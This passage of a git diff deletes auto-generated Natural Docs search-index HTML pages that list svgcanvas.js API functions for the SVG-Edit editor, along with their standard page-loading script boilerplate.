-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_getBBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getBBox" target=_parent class=ISymbol>getBBox</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getBlur><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getBlur" target=_parent class=ISymbol>getBlur</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getBold><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getBold" target=_parent class=ISymbol>getBold</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getColor><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getColor" target=_parent class=ISymbol>getColor</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getContentElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getContentElem" target=_parent class=ISymbol>getContentElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getCurrentLayer" target=_parent class=ISymbol>getCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getDocumentTitle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getDocumentTitle" target=_parent class=ISymbol>getDocumentTitle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getEditorNS><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getEditorNS" target=_parent class=ISymbol>getEditorNS</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getElem" target=_parent class=ISymbol>getElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getFontFamily><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getFontFamily" target=_parent class=ISymbol>getFontFamily</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getFontSize><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getFontSize" target=_parent class=ISymbol>getFontSize</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getId><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getId" target=_parent class=ISymbol>getId</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getItalic><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getItalic" target=_parent class=ISymbol>getItalic</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getLayer" target=_parent class=ISymbol>getLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getLayerOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getLayerOpacity" target=_parent class=ISymbol>getLayerOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getLayerVisibility><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getLayerVisibility" target=_parent class=ISymbol>getLayerVisibility</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getMatrix><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getMatrix" target=_parent class=ISymbol>getMatrix</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getMode><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getMode" target=_parent class=ISymbol>getMode</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getMouseTarget><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getMouseTarget" target=_parent class=ISymbol>getMouseTarget</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getNextId><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getNextId" target=_parent class=ISymbol>getNextId</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getNextRedoCommandText><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getNextRedoCommandText" target=_parent class=ISymbol>getNextRedoCommandText</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getNextUndoCommandText><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getNextUndoCommandText" target=_parent class=ISymbol>getNextUndoCommandText</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getNumLayers><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getNumLayers" target=_parent class=ISymbol>getNumLayers</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getOffset><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getOffset" target=_parent class=ISymbol>getOffset</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getOpacity" target=_parent class=ISymbol>getOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getPathBBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getPathBBox" target=_parent class=ISymbol>getPathBBox</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRedoStackSize><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getRedoStackSize" target=_parent class=ISymbol>getRedoStackSize</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getResolution><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getResolution" target=_parent class=ISymbol>getResolution</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRootElem><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getRootElem" target=_parent class=ISymbol>getRootElem</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRotationAngle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getRotationAngle" target=_parent class=ISymbol>getRotationAngle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getRubberBandBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.SelectorManager.getRubberBandBox" target=_parent class=ISymbol>getRubberBandBox</a>, <span class=IParent>SelectorManager.<wbr>SelectorManager</span></div></div><div class=SRResult id=SR_getSelectedElems><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getSelectedElems" target=_parent class=ISymbol>getSelectedElems</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getStrokedBBox><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getStrokedBBox" target=_parent class=ISymbol>getStrokedBBox</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getStrokeOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getStrokeOpacity" target=_parent class=ISymbol>getStrokeOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getStrokeWidth><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getStrokeWidth" target=_parent class=ISymbol>getStrokeWidth</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getSvgString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getSvgString" target=_parent class=ISymbol>getSvgString</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getText><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getText" target=_parent class=ISymbol>getText</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getTransformList><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getTransformList" target=_parent class=ISymbol>getTransformList</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getUndoStackSize><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.getUndoStackSize" target=_parent class=ISymbol>getUndoStackSize</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_getUrlFromAttr><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getUrlFromAttr" target=_parent class=ISymbol>getUrlFromAttr</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getVersion><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getVersion" target=_parent class=ISymbol>getVersion</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getVisibleElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getVisibleElements" target=_parent class=ISymbol>getVisibleElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_getZoom><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.getZoom" target=_parent class=ISymbol>getZoom</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_groupSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.groupSelectedElements" target=_parent class=ISymbol>groupSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralL.html b/public/svg-edit/docs/search/GeneralL.html
deleted file mode 100644
index 09038de3..00000000
--- a/public/svg-edit/docs/search/GeneralL.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_Layers><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Layers" target=_parent class=ISymbol>Layers</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_linkControlPoints><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.linkControlPoints" target=_parent class=ISymbol>linkControlPoints</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralM.html b/public/svg-edit/docs/search/GeneralM.html
deleted file mode 100644
index fbb3112a..00000000
--- a/public/svg-edit/docs/search/GeneralM.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_matrixMultiply><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.matrixMultiply" target=_parent class=ISymbol>matrixMultiply</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_MoveElementCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.MoveElementCommand" target=_parent class=ISymbol>MoveElementCommand</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_moveSelectedElements><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveSelectedElements" target=_parent class=ISymbol>moveSelectedElements</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_moveSelectedToLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveSelectedToLayer" target=_parent class=ISymbol>moveSelectedToLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_moveToBottomSelectedElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveToBottomSelectedElement" target=_parent class=ISymbol>moveToBottomSelectedElement</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_moveToTopSelectedElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.moveToTopSelectedElement" target=_parent class=ISymbol>moveToTopSelectedElement</a>, <span class=IParent>SelectorManager</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralO.html b/public/svg-edit/docs/search/GeneralO.html
deleted file mode 100644
index 76f92f65..00000000
--- a/public/svg-edit/docs/search/GeneralO.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_open><div class=IEntry><a href="../files/svgcanvas-js.html#open" target=_parent class=ISymbol>open</a></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralR.html b/public/svg-edit/docs/search/GeneralR.html
deleted file mode 100644
index 3153d9df..00000000
--- a/public/svg-edit/docs/search/GeneralR.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_rasterExport><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.rasterExport" target=_parent class=ISymbol>rasterExport</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_recalculateAllSelectedDimensions><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.recalculateAllSelectedDimensions" target=_parent class=ISymbol>recalculateAllSelectedDimensions</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_recalculateDimensions><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.recalculateDimensions" target=_parent class=ISymbol>recalculateDimensions</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_rectsIntersect><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.rectsIntersect" target=_parent class=ISymbol>rectsIntersect</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_redo><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.undoMgr.redo" target=_parent class=ISymbol>redo</a>, <span class=IParent>SvgCanvas.<wbr>undoMgr</span></div></div><div class=SRResult id=SR_releaseSelector><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.SelectorManager.releaseSelector" target=_parent class=ISymbol>releaseSelector</a>, <span class=IParent>SelectorManager.<wbr>SelectorManager</span></div></div><div class=SRResult id=SR_remapElement><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.remapElement" target=_parent class=ISymbol>remapElement</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_RemoveElementCommand><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand" target=_parent class=ISymbol>RemoveElementCommand</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_removeFromSelection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.removeFromSelection" target=_parent class=ISymbol>removeFromSelection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_removeUnusedDefElems><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.removeUnusedDefElems" target=_parent class=ISymbol>removeUnusedDefElems</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_renameCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.renameCurrentLayer" target=_parent class=ISymbol>renameCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_requestSelector><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.SelectorManager.requestSelector" target=_parent class=ISymbol>requestSelector</a>, <span class=IParent>SelectorManager.<wbr>SelectorManager</span></div></div><div class=SRResult id=SR_reset><div class=IEntry><a href="../files/svgcanvas-js.html#Selector.Selector.reset" target=_parent class=ISymbol>reset</a>, <span class=IParent>Selector.<wbr>Selector</span></div></div><div class=SRResult id=SR_resetUndoStack><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.resetUndoStack" target=_parent class=ISymbol>resetUndoStack</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_resize><div class=IEntry><a href="../files/svgcanvas-js.html#Selector.Selector.resize" target=_parent class=ISymbol>resize</a>, <span class=IParent>Selector.<wbr>Selector</span></div></div></table><div class=SRStatus id=Searching>Searching...</div><div class=SRStatus id=NoMatches>No Matches</div><script type="text/javascript"><!--
-document.getElementById("Loading").style.display="none";
-document.getElementById("NoMatches").style.display="none";
-var searchResults = new SearchResults("searchResults", "HTML");
-searchResults.Search();
---></script></div><script language=JavaScript><!--
-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/search/GeneralS.html b/public/svg-edit/docs/search/GeneralS.html
deleted file mode 100644
index 11769862..00000000
--- a/public/svg-edit/docs/search/GeneralS.html
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
-
-<html><head><link rel="stylesheet" type="text/css" href="../styles/main.css"><script language=JavaScript src="../javascript/main.js"></script></head><body class="PopupSearchResultsPage" onLoad="NDOnLoad()"><script language=JavaScript><!--
-if (browserType) {document.write("<div class=" + browserType + ">");if (browserVer) {document.write("<div class=" + browserVer + ">"); }}// --></script>
-
-<!--  Generated by Natural Docs, version 1.4 -->
-<!--  http://www.naturaldocs.org  -->
-
-<!-- saved from url=(0026)http://www.naturaldocs.org -->
-
-
-
-
-<div id=Index><div class=SRStatus id=Loading>Loading...</div><table border=0 cellspacing=0 cellpadding=0><div class=SRResult id=SR_sanitizeSvg><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.sanitizeSvg" target=_parent class=ISymbol>sanitizeSvg</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_save><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.save" target=_parent class=ISymbol>save</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_selectAllInCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.selectAllInCurrentLayer" target=_parent class=ISymbol>selectAllInCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_Selection><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Selection" target=_parent class=ISymbol>Selection</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_Selector><div class=IEntry><a href="../files/svgcanvas-js.html#Selector" target=_parent class=ISymbol>Selector</a></div></div><div class=SRResult id=SR_SelectorManager><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager" target=_parent class=ISymbol>SelectorManager</a></div></div><div class=SRResult id=SR_Serialization><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.Serialization" target=_parent class=ISymbol>Serialization</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBackground><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBackground" target=_parent class=ISymbol>setBackground</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBBoxZoom><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBBoxZoom" target=_parent class=ISymbol>setBBoxZoom</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBlur><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBlur" target=_parent class=ISymbol>setBlur</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBlurNoUndo><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBlurNoUndo" target=_parent class=ISymbol>setBlurNoUndo</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBlurOffsets><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBlurOffsets" target=_parent class=ISymbol>setBlurOffsets</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setBold><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setBold" target=_parent class=ISymbol>setBold</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setColor><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setColor" target=_parent class=ISymbol>setColor</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setConfig><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setConfig" target=_parent class=ISymbol>setConfig</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setCurrentLayer><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setCurrentLayer" target=_parent class=ISymbol>setCurrentLayer</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setCurrentLayerPosition><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setCurrentLayerPosition" target=_parent class=ISymbol>setCurrentLayerPosition</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setDocumentTitle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setDocumentTitle" target=_parent class=ISymbol>setDocumentTitle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setFontFamily><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setFontFamily" target=_parent class=ISymbol>setFontFamily</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setFontSize><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setFontSize" target=_parent class=ISymbol>setFontSize</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setForeignString_lpaxmlString_comelt_rpa><div class=IEntry><a href="../files/extensions/ext-foreignobject-js.html#setForeignString(xmlString,elt)" target=_parent class=ISymbol>setForeignString(xmlString,elt)</a></div></div><div class=SRResult id=SR_setGradient><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setGradient" target=_parent class=ISymbol>setGradient</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setIdPrefix><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setIdPrefix" target=_parent class=ISymbol>setIdPrefix</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setImageURL><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setImageURL" target=_parent class=ISymbol>setImageURL</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setItalic><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setItalic" target=_parent class=ISymbol>setItalic</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setLayerOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setLayerOpacity" target=_parent class=ISymbol>setLayerOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setLayerVisibility><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setLayerVisibility" target=_parent class=ISymbol>setLayerVisibility</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setMode><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setMode" target=_parent class=ISymbol>setMode</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setOpacity" target=_parent class=ISymbol>setOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setPaint><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setPaint" target=_parent class=ISymbol>setPaint</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setPaintOpacity><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setPaintOpacity" target=_parent class=ISymbol>setPaintOpacity</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setRectRadius><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setRectRadius" target=_parent class=ISymbol>setRectRadius</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setResolution><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setResolution" target=_parent class=ISymbol>setResolution</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setRotationAngle><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setRotationAngle" target=_parent class=ISymbol>setRotationAngle</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setSegType><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setSegType" target=_parent class=ISymbol>setSegType</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setStrokeAttr><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setStrokeAttr" target=_parent class=ISymbol>setStrokeAttr</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setStrokeWidth><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setStrokeWidth" target=_parent class=ISymbol>setStrokeWidth</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setSvgString><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setSvgString" target=_parent class=ISymbol>setSvgString</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setTextContent><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setTextContent" target=_parent class=ISymbol>setTextContent</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setUiStrings><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setUiStrings" target=_parent class=ISymbol>setUiStrings</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_setUnitAttr><div class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.setUnitAttr" target=_parent class=ISymbol>setUnitAttr</a>, <span class=IParent>SvgCanvas</span></div></div><div class=SRResult id=SR_setZoom><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.setZoom" target=_parent class=ISymbol>setZoom</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_shortFloat><div class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.shortFloat" target=_parent class=ISymbol>shortFloat</a>, <span class=IParent>SelectorManager</span></div></div><div class=SRResult id=SR_showGrips><div class=IEntry><a 